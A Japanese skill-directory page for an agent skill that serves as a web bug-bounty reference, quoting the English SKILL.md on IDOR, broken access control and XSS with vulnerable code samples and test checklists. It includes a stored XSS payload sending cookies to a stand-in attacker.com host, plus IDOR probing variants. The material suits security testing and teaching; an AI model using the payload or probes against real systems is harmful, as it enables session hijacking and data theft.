web2-vuln-classes
できること
このスキルは、Web アプリをテストするエージェント向けの参照ガイドです。IDOR、SSRF、XSS、SQLインジェクションなどのよくある欠陥が、どのように生じ、どう見つけるかを説明します。
使う場面
- ✓テスターが、IDOR や SSRF などのよくある Web の欠陥の仕組みを学びたいとき。
- ✓テスターが、特定の欠陥の種類について検出パターンや回避の考え方を必要としているとき。
- ✓テスターが、発見を既知の根本原因と照らし合わせたいとき。
スキルのリンク
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“このアプリの IDOR を調べる方法を説明してください。よくある根本原因と確認すべき点も教えてください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは参照資料から該当する種類を探し、その根本原因、検出パターン、回避の表を使ってテストを計画します。ログインが必要な種類には印が付いており、アクセス確認には二つのセッションを使うよう勧められています。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
WEB2 BUG CLASSES — 26 Classes
Root cause, pattern, bypass table, chaining opportunity, real paid examples.
Auth-required classes (🔐): the ones below need at least one logged-in session loaded into the hunt to be testable. Use
hunt.py --auth-file .private/T.jsonor--cookie/--bearerflags — every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. Seedocs/auth-sessions.md.🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT · GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response manipulation tests) · ATO chains · SSRF behind login
The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded — that's the attack premise.
1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐
#1 most paid web2 class — 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) — load both via
--auth-fileand diff audit-logsession_idhashes to confirm cross-tenant access.
Root Cause
# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
return jsonify(order) # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
order_id, current_user.id)
Variants
- V1: Numeric ID swap —
/api/user/123/profile→ change to 124 - V2: UUID swap — enumerate UUID via email invite or other endpoint
- V3: Indirect IDOR —
POST /api/export?report_id=456exports another user's report - V4: Parameter add —
?user_id=othermakes backend use it - V5: HTTP method swap — PUT protected, DELETE not
- V6: Old API version —
/v1/users/123lacks auth that/v2/has - V7: GraphQL node —
{ node(id: "base64(User:456)") { email } } - V8: WebSocket — WS sends
{"action":"get_history","userId":"client-generated-UUID"}
Testing Checklist
[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs
IDOR Chain Escalation
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot reads other user's data = High
2. BROKEN AUTH / ACCESS CONTROL 🔐
#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded — you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.
The Sibling Rule
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
Patterns
// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!
Real Paid Examples
- HackerOne TrustHub:
POST /graphqlwithTrustHubQuery— no auth, regular user reads all vendors (CVSS 8.7 High) - Vienna Chatbot: WebSocket
get_historyaccepts arbitrary UUID — no ownership check (P2)
3. XSS — CROSS-SITE SCRIPTING
Stored XSS (highest impact)
Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack
DOM XSS Sinks (grep for these)
innerHTML = userInput // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
element.src = userInput // JavaScript URI possible
location.href = userInput
postMessage is a DOM XSS source — same sinks above (innerHTML, eval
よくある質問
いくつの種類が扱われていますか?
IDOR、SSRF、XSS、SQLインジェクション、ファイルアップロードなど、26種類のWebのバグが扱われています。
なぜ二つのセッションを使うのですか?
権限の低いセッションと高いセッションを読み込み、アクセスを比べるよう勧めているからです。
AI のリスクも含まれますか?
はい。LLM と AI のリスクが、ASI のカテゴリーに対応づけて含まれています。
詳細
作者による元の説明
Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de
人気
- GitHubのスター
- 5.5k
- ランキング
- #14797
- ライセンス
- MIT
- 更新日
- 2026/10/28
コメント
- …
このリポジトリの他のスキル
bug-bounty
5.5kエージェントが、対象範囲の確認から資産の調査、脆弱性の検証、レポート作成まで段階的にバグバウンティの調査を計画できるよう支援します。
agentic-app-audit
5.5kエージェントが、稼働中のAIアシスタントを外部から確認し、ツール呼び出しの乗っ取りやメモリの汚染などのリスクを見つけられるよう支援します。
argus
5.5kエージェントが、Webアプリや AI アプリでよくある不具合を調べる6つの自動スキャナーを実行できるよう支援します。
bb-methodology
5.5kエージェントが、バグバウンティのセッションを段階的に計画し、次の作業と適切な確認項目を選び、実際の害につながらない案を除外できるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。